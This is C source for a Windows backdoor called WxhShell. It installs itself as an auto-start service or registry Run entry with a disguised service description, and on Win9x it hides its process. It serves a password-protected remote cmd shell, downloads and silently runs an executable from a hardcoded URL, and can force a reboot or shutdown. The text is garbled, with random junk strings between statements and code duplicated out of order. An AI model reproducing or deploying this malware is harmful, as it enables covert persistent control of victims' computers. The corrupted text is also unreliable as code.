yp2 'KES> HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TQ\wHJ if(NULL == hInst ) return 0; fFZ`rPb ,gL)~6!A g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -=[o{r` g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6 ,pZRc NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N<Z)b!o%u 7{+Io if (!NtQueryInformationProcess) return 0; `b#nC[b6|v 9Ajgfy> hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FQ|LA[~ if(!hProcess) return 0; n?e@): {uwk[f{z if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $,&gAU :^-HVT)qF CloseHandle(hProcess); ? W2I1HEy "l[V%f E hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AY/-j$5+? if(hProcess==NULL) return 0; Fe&n, 7Ysy\gZ&wp HMODULE hMod; 8A8xY446) char procName[255]; V:G }=~+= unsigned long cbNeeded; x#F1@r8R RSPRfYU/ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x U13fl h*\TCl) CloseHandle(hProcess); ^=izqh5S 3<)@ll if(strstr(procName,"services")) return 1; // 以服务启动 $E`iqRB Y6f+__O return 0; // 注册表启动 APQQ:'>N4~ } wwK~H *`g-gk // 主模块 (J^Lqh_ int StartWxhshell(LPSTR lpCmdLine) <^*+8{* { +6#%P SOCKET wsl; Mdlt zy=)L BOOL val=TRUE; @q{:Oc^ int port=0; k{}[>))Q struct sockaddr_in door; rtYb"-& TM/|K|_ if(wscfg.ws_autoins) Install(); /H jI=263 }/7.+yD port=atoi(lpCmdLine); CFkW@\]
D?\" if(port<=0) port=wscfg.ws_port; k67i`f= nv_m!JG7 WSADATA data; STXqq[+Rf if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gf3u0' $ <(#xOe if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; N'eQ>2>O@ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2sd ) w door.sin_family = AF_INET; s.p1L door.sin_addr.s_addr = inet_addr("127.0.0.1"); EvSnZB1 y door.sin_port = htons(port); j h1 bn Y @XkqvX if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B{OW}D$P# closesocket(wsl); V`R)#G>IH% return 1; e}](6"t`5 } i3M?D}(Bs ]uStn if(listen(wsl,2) == INVALID_SOCKET) { U!a!|s> closesocket(wsl); [U%ym{be^ return 1; je- ,S>U } @Hspg^ Wxhshell(wsl); F=
_uNq WSACleanup(); Cz=A{<^g |c06ix;). return 0; <4l.s Qr|N) } I8<Il^ Giy3eva2 // 以NT服务方式启动 y"|K
|QT VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V5e \% { teq^xTUF[ DWORD status = 0; #514a(6 DWORD specificError = 0xfffffff; pIZLGsu[ r6F{ serviceStatus.dwServiceType = SERVICE_WIN32; >+Sv9S serviceStatus.dwCurrentState = SERVICE_START_PENDING; e'k;A{Oh serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ueWR/ serviceStatus.dwWin32ExitCode = 0; HO%E-5b9 serviceStatus.dwServiceSpecificExitCode = 0; 2d5}`> serviceStatus.dwCheckPoint = 0; q9W~7 serviceStatus.dwWaitHint = 0; .q5J^/kr
Z;j/K hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ||{T5E-.F if (hServiceStatusHandle==0) return; 5YTb7M Eu`2w%qz status = GetLastError(); 2y9:'c| if (status!=NO_ERROR) T@K7DkP@ { iXUWIgr serviceStatus.dwCurrentState = SERVICE_STOPPED; ^f^-.X serviceStatus.dwCheckPoint = 0; KAj"p9hq+k serviceStatus.dwWaitHint = 0; _Hz~HoNU serviceStatus.dwWin32ExitCode = status; iwG>]:K3 serviceStatus.dwServiceSpecificExitCode = specificError; 3iu!6lC SetServiceStatus(hServiceStatusHandle, &serviceStatus); L\/u}]dPQ return; ~
V@xu{ } 3o+KP[A L?=#*4t serviceStatus.dwCurrentState = SERVICE_RUNNING; Hk<X serviceStatus.dwCheckPoint = 0; d'N(w7-Y serviceStatus.dwWaitHint = 0; Qa,NGP. if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r.^0!(d } s
jL*I e={k.y}x} // 处理NT服务事件,比如:启动、停止 yPf?"W VOID WINAPI NTServiceHandler(DWORD fdwControl) ! 6p>P4TT { o|z+!, switch(fdwControl) ^?$D.^g { & cM
u/ } case SERVICE_CONTROL_STOP: c8^+^.=pX serviceStatus.dwWin32ExitCode = 0; tyc8{t#Z serviceStatus.dwCurrentState = SERVICE_STOPPED; jGO9n serviceStatus.dwCheckPoint = 0; .+{nA}Bc serviceStatus.dwWaitHint = 0; EpRXjz { /~H[= Pf SetServiceStatus(hServiceStatusHandle, &serviceStatus); /[\6oa } <u6c2!I{ return; MZCL:# case SERVICE_CONTROL_PAUSE: .@y{)/ serviceStatus.dwCurrentState = SERVICE_PAUSED; bWGyLo, break; 6@"Vqm|HD case SERVICE_CONTROL_CONTINUE: @IEI%vH serviceStatus.dwCurrentState = SERVICE_RUNNING; >|l;*Kw,/P break; @rPI$ia1~ case SERVICE_CONTROL_INTERROGATE: ry$tK"v/ break; *hv=~A
$q }; 7[ZkM+z! SetServiceStatus(hServiceStatusHandle, &serviceStatus); r/UYC"K3 } R'S c l\K% // 标准应用程序主函数 Cr'
!"F int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kR<xtHW { jK3giT T$: >* // 获取操作系统版本 ?cqicN.+6 OsIsNt=GetOsVer(); qru2h #
GetModuleFileName(NULL,ExeFile,MAX_PATH); PYdIP\<V 5."5IjZu // 从命令行安装 U8 Z~Y}29 if(strpbrk(lpCmdLine,"iI")) Install(); ' oBo| l'|E,N>X // 下载执行文件 Q{H17]W if(wscfg.ws_downexe) { wY' "ab if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M%7`8KQ WinExec(wscfg.ws_filenam,SW_HIDE); @''&nRC1 } 9uuta4&uI i?ZA x4D if(!OsIsNt) { oR-O~_)U // 如果时win9x,隐藏进程并且设置为注册表启动 /0Z|+L9Jo HideProc(); N YCj; ,V StartWxhshell(lpCmdLine); 5){tBK| } zx
ct( else X7e>Z)l if(StartFromService()) qIB>6bv#x // 以服务方式启动 6kP7 StartServiceCtrlDispatcher(DispatchTable); &foD& else MinbE13?U // 普通方式启动 %p<$|' StartWxhshell(lpCmdLine); CT|z[^ _GE=kw;: return 0; #]?tY}~ } smQ4CLJ >NJjS8f5 2K3MAd{ J
cP~-cp =========================================== BTOA &Ag 0Xp
nbB~~I %_>Tcm= - oU@D Ynvj; [6O04"6K " DYc.to- 9~=gwP #include <stdio.h> 64?Pfir6 #include <string.h> `+oV/:Q3 #include <windows.h> Kl2}o|b #include <winsock2.h> iOl%-Y #include <winsvc.h> $+7 ci~gs #include <urlmon.h> *U
M!( >H$;Z$o*( #pragma comment (lib, "Ws2_32.lib") T0;u+$ #pragma comment (lib, "urlmon.lib") FX7M4t#< nlaG<L# #define MAX_USER 100 // 最大客户端连接数 |Mt&p#y #define BUF_SOCK 200 // sock buffer \xF;{}v #define KEY_BUFF 255 // 输入 buffer {z=j_;<] Dzo{PstM% #define REBOOT 0 // 重启 e"*BHvy F #define SHUTDOWN 1 // 关机 R_7
6W& pG(Fz0b{ #define DEF_PORT 5000 // 监听端口 Z*h43 zkd3Z$Ce #define REG_LEN 16 // 注册表键长度 ;{Xy`{Cg! #define SVC_LEN 80 // NT服务名长度 F{;;
: Ky *DfQA // 从dll定义API 4ffU;6~l' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {wcO[bN typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); juH wHt typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K|US~Hgv typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9WOu8Ia d`85P+Qen| // wxhshell配置信息 |P>|D+I0 struct WSCFG { XjxPIdX_H int ws_port; // 监听端口 uWh|C9Y!A char ws_passstr[REG_LEN]; // 口令 )9MrdVNv int ws_autoins; // 安装标记, 1=yes 0=no CldDr<k3 char ws_regname[REG_LEN]; // 注册表键名 Mxo6fn6-46 char ws_svcname[REG_LEN]; // 服务名 h!v/s=8c char ws_svcdisp[SVC_LEN]; // 服务显示名 #Gd7M3 char ws_svcdesc[SVC_LEN]; // 服务描述信息 B=r0?%DX"1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TiQ^}5~M int ws_downexe; // 下载执行标记, 1=yes 0=no GYd]5`ri char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _r]nJEF5 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o!=WFAi[pX 3B;}j/h2 }; 3I]Fdp)' '[Xl>Z[ // default Wxhshell configuration 0potz]} struct WSCFG wscfg={DEF_PORT, 6ga5^6W "xuhuanlingzhe", t}VwVf<K 1, 6%E~p0)i% "Wxhshell", nx B32 "Wxhshell", Q{[@`bZB "WxhShell Service", "?P[9x} "Wrsky Windows CmdShell Service", eHUg-\dy "Please Input Your Password: ", 4#_$@ r 1, R5~gH6K| "http://www.wrsky.com/wxhshell.exe", '#A:.P "Wxhshell.exe" Xk?R mU6 }; e{0L%%2K x~EKGoz3 // 消息定义模块 Rjq a_hxrS char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %J _ymJ'pd char *msg_ws_prompt="\n\r? for help\n\r#>"; i|S:s char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gM#jA8gz char *msg_ws_ext="\n\rExit."; \-c#jo.$8 char *msg_ws_end="\n\rQuit."; :@/"abv char *msg_ws_boot="\n\rReboot..."; VRF6g|0; char *msg_ws_poff="\n\rShutdown..."; t7bqk!6hM\ char *msg_ws_down="\n\rSave to "; SRItE\"Xe ~p\n&{P0 char *msg_ws_err="\n\rErr!"; rGQ5l1</ char *msg_ws_ok="\n\rOK!"; @; ;G88= 3b@VY'P char ExeFile[MAX_PATH]; };r|}v !~_ int nUser = 0; 1A^1@^{m' HANDLE handles[MAX_USER]; g8l5.Mpx int OsIsNt; @o&Ytd;i ?Wa<AFXQ SERVICE_STATUS serviceStatus; nv)))I\ SERVICE_STATUS_HANDLE hServiceStatusHandle; w.uK?A>W, !R6ApB4ZI // 函数声明 (ii(yz| int Install(void); s/t11; int Uninstall(void); ;Xu22fKh int DownloadFile(char *sURL, SOCKET wsh); ?}8IQxU int Boot(int flag); # $~ oe" void HideProc(void); cIb4-TeV int GetOsVer(void); M|8
3HTJ int Wxhshell(SOCKET wsl); W Y:s
gG void TalkWithClient(void *cs); 6G}c1nWU int CmdShell(SOCKET sock); B.*"Xfr8 int StartFromService(void); 1"YpO"Rh int StartWxhshell(LPSTR lpCmdLine); AF$\WWrB K&dT(U VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DW|vMpU]u VOID WINAPI NTServiceHandler( DWORD fdwControl ); kiX%3( gu<V(M\ // 数据结构和表定义 \[ M_\&GC SERVICE_TABLE_ENTRY DispatchTable[] = $;`I,k$0>~ { =X@o@1 {wscfg.ws_svcname, NTServiceMain}, f-D>3qSS {NULL, NULL} p411 `]Zf }; jct./arK :Q7mV%% // 自我安装 X;VQEDMPU int Install(void) OH6n^WKY { .6m_>Y6 char svExeFile[MAX_PATH]; f{ ^:3"i HKEY key; iSiDSeW8 strcpy(svExeFile,ExeFile); rwgsXS8W6 J +q|$K6 // 如果是win9x系统,修改注册表设为自启动 YeyGN if(!OsIsNt) { mmP U
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L/i(KF{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ARWZ; GX RegCloseKey(key); *
t!r@k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3sbK7,4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {G*OR,HN RegCloseKey(key); h1f8ktF return 0; QDE$E.a } !d8A } B+"g2Y } 9M'DC^x*T else { 9/kXc4 9$RIH\* // 如果是NT以上系统,安装为系统服务 78]gtJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JJnYOau if (schSCManager!=0) {Uq:Xw { d#>y }H9 SC_HANDLE schService = CreateService &z@~B&O ( nIBFk?)6 schSCManager, >qh?L#Fk wscfg.ws_svcname, F8=nhn wscfg.ws_svcdisp, c!wtf,F SERVICE_ALL_ACCESS, cj
g.lzYH SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .Dw,"VHP SERVICE_AUTO_START, _Y!sVJ){,c SERVICE_ERROR_NORMAL, KDTDJ8 svExeFile,
q3S+Y9L NULL, &=Y e6 f[ NULL, .:9s}%Zr NULL, o~1 Kp!U NULL, f*fE}; NULL Eju~}:Lo ); WG5W0T_ if (schService!=0) fdv`7u+}a { BsLG^f CloseServiceHandle(schService); W^3;F1 CloseServiceHandle(schSCManager); 1@_T m strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #/
"+ strcat(svExeFile,wscfg.ws_svcname); ; Lql_1 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *e/K:k RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T3 pdx~66 RegCloseKey(key); |B^G:7c return 0; Vmi{X b]< } ~uj;qq } ln<]-)&C CloseServiceHandle(schSCManager); 6rX_-Mm6w } s>%Pd7: } T):SGW Uyx&E?SlEq return 1; zp4W'8
} '\~^TFi 0LL c 1t>} // 自我卸载 r;m`9,RW int Uninstall(void) |vILp/"9=W { shgAhx HKEY key; `xz&Scil \x+3f if(!OsIsNt) { tju|UhP3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &`!^Zq vG RegDeleteValue(key,wscfg.ws_regname); aGoE,5 RegCloseKey(key); 7r
0,>
3" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;3m!:l
RegDeleteValue(key,wscfg.ws_regname); i8PuC^] RegCloseKey(key); N1x@-/xa| return 0; d,cN( } '&yeQ } jbmTmh1q } Y(6Sp'0 else { ..<3%fL3 XL5Es:"+?S SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0 f/.>1M= if (schSCManager!=0) %2l7Hmp4H { uT_!'l$fr SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x\@*60o if (schService!=0) <J{'o`{ { I+;-p]~ if(DeleteService(schService)!=0) { L%cVykWY" CloseServiceHandle(schService); uTvv(f CloseServiceHandle(schSCManager); hOk00az return 0; G|u3UhyB } BNucc'] CloseServiceHandle(schService); %NARyz } |m
G7XL, CloseServiceHandle(schSCManager); 0ejdKdYN } 0 P|&Pq&IH } acW'$@y9?N G^Tk 20* return 1; W/+K9S25 } =o=1"o[ oC|WB S // 从指定url下载文件 \%A%s*1 int DownloadFile(char *sURL, SOCKET wsh) xN0*8 { V H^AcO HRESULT hr; A(d5G^ char seps[]= "/"; ktH8as^54! char *token; g:#dl\k char *file; !<\Br char myURL[MAX_PATH]; v"Jgw;3 char myFILE[MAX_PATH]; 5OP`c< lWZuXb,G strcpy(myURL,sURL); #D%ygh= token=strtok(myURL,seps); *cv}*D while(token!=NULL) =XY]x { %_M2N.n file=token; MXvXVhCU token=strtok(NULL,seps); ;%!m<S|%k } [rYT _|{aC1Y!V GetCurrentDirectory(MAX_PATH,myFILE); !?FK We strcat(myFILE, "\\"); 1s7^uA$}6 strcat(myFILE, file); Ff4*IOZ}( send(wsh,myFILE,strlen(myFILE),0); j
tA*pL'/V send(wsh,"...",3,0);
>'=MH2; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D!LX?_cD1i if(hr==S_OK) 9'~-U return 0; FG-L0X else KFWJ}pNq return 1; +a+`Z>
Ob<W/-%5tH } GA3sRFZdQ =U-r*sGLN // 系统电源模块 _}Ps(_5D int Boot(int flag) UWXm?v2j { 7"v$- W y HANDLE hToken; -w6
"? TOKEN_PRIVILEGES tkp; yJ2B3i@T4 4&X*pL2; if(OsIsNt) { g /+oZU OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4dh+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ca>& tkp.PrivilegeCount = 1; vK'?:}~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LXfCmc9|Z AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5\4g>5PD if(flag==REBOOT) { =hH.zrI6e if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5z/Er".P return 0; )@g;j> } 2XSHZ|; else { e$/B_o7( if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0Bolv_e return 0; XSRdqU>Aun } 2%UBwSiqR } mxG ]kqi else { /!xF?OmVd if(flag==REBOOT) { 3.R#&Zxt if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^y_fRP~ return 0; d]v+mVAyE } /Wj,1WX~ else { m6n!rRQ^U if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K\.5h4k return 0; $p* p } =[tSd)D,y } 2 h|e l}g;'9ZB return 1; NYB[Zyp } 12`_;[37 v> z@ // win9x进程隐藏模块 P&A|PY,P void HideProc(void) pxINw>\Qv { 30cd|
S? &XLD S=j HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?w&SW{ I if ( hKernel != NULL ) /X8<C=} { 7,$z;Lr0S pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2&(sa0*y ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?/#}ZZK^ FreeLibrary(hKernel); quu*xJ;Ci } \+PIe7f_ BN_7Ay/k return; 5i So8*9} } (Ye>Cp+] jx`QB')kX // 获取操作系统版本 3K0tC= int GetOsVer(void) `iShJz96 { JC;^--0(z OSVERSIONINFO winfo; u' Qd, winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U yqXMbw@ GetVersionEx(&winfo); B5am1y{P# if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .V'V:;BE% return 1; A7XnHPIw else QDmYSY$ return 0; u=+q$Q] } c9Es%@] =([av7 // 客户端句柄模块 =H5\$&xj4. int Wxhshell(SOCKET wsl) alFjc.~} { c@m5~
SOCKET wsh; ub?K, struct sockaddr_in client; hq>Csj==@ DWORD myID; g=)J~1&p <g2_6C\j while(nUser<MAX_USER) -`c:}m { xycH~ ? int nSize=sizeof(client); Z+:D)L wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [Gr*,nVvB if(wsh==INVALID_SOCKET) return 1; Y;J *4k] _O:WG&a6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F1azZ( if(handles[nUser]==0) 3ha|0[r9 closesocket(wsh); -\$`ic$"1 else )|#%Czd4 nUser++; _sHK*&W{CT } xBnbF[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Zf*r2t1&P ZFh+x@ return 0; %i{;r35M;9 } N]/!mo? |I8Mk.Z=FA // 关闭 socket /i|z.nNO void CloseIt(SOCKET wsh) ':
F}3At { Fw4* closesocket(wsh); pa
.K-e)Mu nUser--; sYbH|} ExitThread(0); nY? } }k$4/7ri g<*jlM1r // 客户端请求句柄 S4NL "m void TalkWithClient(void *cs) eo]#sf@\0 { e,1u @)YY\l# SOCKET wsh=(SOCKET)cs; &R-H"kK? char pwd[SVC_LEN]; *=F(KZ char cmd[KEY_BUFF]; B33$ u3d char chr[1]; *tQk;'/A] int i,j; WPuz]Ty wNCCH55Pt while (nUser < MAX_USER) { /ci]}`'ws 7()?C}Ni- if(wscfg.ws_passstr) { gz#4{iT~ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f?fKhu2 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @ CsV]97` //ZeroMemory(pwd,KEY_BUFF); ,lN5,zI=S i=0; Dma.r while(i<SVC_LEN) { `\$8`Zb; A/*%J74v // 设置超时 %"3 )TN4 fd_set FdRead; ~fN%WZ;_ struct timeval TimeOut; UV7%4xM5v FD_ZERO(&FdRead); "u^EleE! FD_SET(wsh,&FdRead); #} ,x @]p TimeOut.tv_sec=8; =J'P. TimeOut.tv_usec=0; Qu*1g(el!o int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <EX7WA if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |(IO=V4P Xh3; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .#6MQJ]OH pwd=chr[0]; RNJFSD. if(chr[0]==0xd || chr[0]==0xa) { Va<HU:< pwd=0; jRZ%}KX break; 0NE{8O0;Fr } 5a`%)K i++; |WQ9a' ' } O_,O,1 U..<iNQE5 // 如果是非法用户,关闭 socket ".2K9j7$ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f_mhD dq } .QWhK|(.! L^Wz vv] send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &V=7D# L send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6DF Nud,\mXrY[ while(1) { mO rWJ~= G$WOzY( ZeroMemory(cmd,KEY_BUFF); !AHAS ;<Qdy`
T // 自动支持客户端 telnet标准 _]>JB0IY j=0; Csst[3V while(j<KEY_BUFF) { u:P~j if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |^n3{m cmd[j]=chr[0]; \ {|ImCH if(chr[0]==0xa || chr[0]==0xd) { x-m/SI]_N cmd[j]=0; _2Py\+$ break; OKue" p } sRRI3y@ j++; dbGgD=}o } c$M%G)P /Bv#) -5 // 下载文件 ^QL 877 if(strstr(cmd,"http://")) { -AD2I {C send(wsh,msg_ws_down,strlen(msg_ws_down),0); x1[?5n6 if(DownloadFile(cmd,wsh)) S>:,z}i send(wsh,msg_ws_err,strlen(msg_ws_err),0); ROAI9sW0 else v|t{1[C send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?m%h`<wgMc }
}uO5q42 else { Iin#Wd-/ b{[*N switch(cmd[0]) { 4SVW/Zl.? Di(9]:+ // 帮助 :b#%C
pR case '?': { i.a _C'<$ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7nE"F!d+0 break; `u'dh{,gE } )c<6Sfp^B // 安装 E%pz9gcSx case 'i': { H
oy7RC& if(Install()) RIy\u> send(wsh,msg_ws_err,strlen(msg_ws_err),0); r|Zi3+ else -;c send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6SEltm( break; yY=<'{! } c[(Pg% // 卸载 w9~k]5 case 'r': { RI.2F*| if(Uninstall()) ';YgG<u send(wsh,msg_ws_err,strlen(msg_ws_err),0); D'i6",Z> else !$xu(D. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Eu<r$6Q0}o break; 'CV^M(o'9 } vgG}d8MW37 // 显示 wxhshell 所在路径 ;)/@Xx case 'p': { wyQb5n2`;~ char svExeFile[MAX_PATH]; V'wi ^gq strcpy(svExeFile,"\n\r"); K&`Awv strcat(svExeFile,ExeFile); wK5_t[[ send(wsh,svExeFile,strlen(svExeFile),0); }[=YU%[o: break; ej[S u } W'$kZ/%[ // 重启 iD_TP case 'b': { S`g;Y
' send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F?]N8W if(Boot(REBOOT)) g:~+Pe send(wsh,msg_ws_err,strlen(msg_ws_err),0); TipHV;|e else { %v=!'?VT closesocket(wsh); Os&1..$Nb ExitThread(0);
H!eh
J$[ } -Zy)5NB-tZ break; X0i3 _RVa } h}Ygb-uZ // 关机 mnQ'X-q3iO case 'd': { 4M`Xrfwm'[ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `iYc<N` if(Boot(SHUTDOWN)) :t$A8+A+0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'EX4.h
a5 else { tY_5Pz(@ closesocket(wsh); UzQ$B> f ExitThread(0); avNLV } (_8#YyW# break; FmT
`Oa> } Mtp%co )f // 获取shell uw_?O[ZA[ case 's': { %KV2<t? CmdShell(wsh); #x)}29%e# closesocket(wsh); )x\z@g ExitThread(0); $h[Yz l break; j$PI,` } $WaZ_kt // 退出 /tC9G@Hl case 'x': { ]Z@k|Nw send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Rc9<^g` CloseIt(wsh); mK\aI break; ;'1Apy } /H&aMk}J@y // 离开 TA;,>f* case 'q': { 2ksA.,UB^9 send(wsh,msg_ws_end,strlen(msg_ws_end),0); )Vk:YL++ closesocket(wsh); qi\n] I WSACleanup(); rO^xz7K^ exit(1); 2%YXc|gGT break; DrS?=C@ } ^, wnp@ } g!^J ,e= } In(NF# Mq+<mX7 // 提示信息 Bl4 dhBZoO if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
`]>on`n? } o;;,iHu* } (,tHL chLeq return; p7 [(z
} (j N]OE^ e^frVEV // shell模块句柄 [=~!w_ int CmdShell(SOCKET sock) iS-K
~qa { 4A o{M STARTUPINFO si; ND,`QjmZ ZeroMemory(&si,sizeof(si)); _LLshV3 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4x]NUt si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h AAU ecx PROCESS_INFORMATION ProcessInfo; U.Hdbmix char cmdline[]="cmd"; {PmzkT}LF CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B\zoJg&7( return 0; @_O3&ZK } 04\Ta ..$>7y} // 自身启动模式 a7 )@BzF# int StartFromService(void)
FV8\+ep { ,;3:pr typedef struct vU9ek:.l { uu@<&.r\C DWORD ExitStatus; s01$fFJgO DWORD PebBaseAddress; p">WK<N DWORD AffinityMask; ZbyG*5iq DWORD BasePriority; >w2f8tW`PP ULONG UniqueProcessId; 3_U\VGm ULONG InheritedFromUniqueProcessId; enPYj.*/0 } PROCESS_BASIC_INFORMATION; sD2Qm sH@ &* PROCNTQSIP NtQueryInformationProcess; U,HS;wo;t ]ut?&&* static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s((b"{fFb static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ">,K1:(D Ou!)1UFI HANDLE hProcess; kaC+I"4c PROCESS_BASIC_INFORMATION pbi; B[7A FvA|1c HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `D"1
gD}{A if(NULL == hInst ) return 0; QX+Y(P`vMK 'A1E^rl]= g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *vD/(&pQ1: g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )u
Qvt- NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8E-Ip>{> c}'Xoc if (!NtQueryInformationProcess) return 0; &m4f1ZO* l]>!`'sJL hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |i s 9 if(!hProcess) return 0; <>?^ 4NC<M L:^Y@[f if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x3_,nl .Nk6 CloseHandle(hProcess); *V<)p%l. 3l+|&q[v hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0@w&J9yG if(hProcess==NULL) return 0; =x oBC&u
HFv?s HMODULE hMod; u{pTva char procName[255]; YpiRF+G
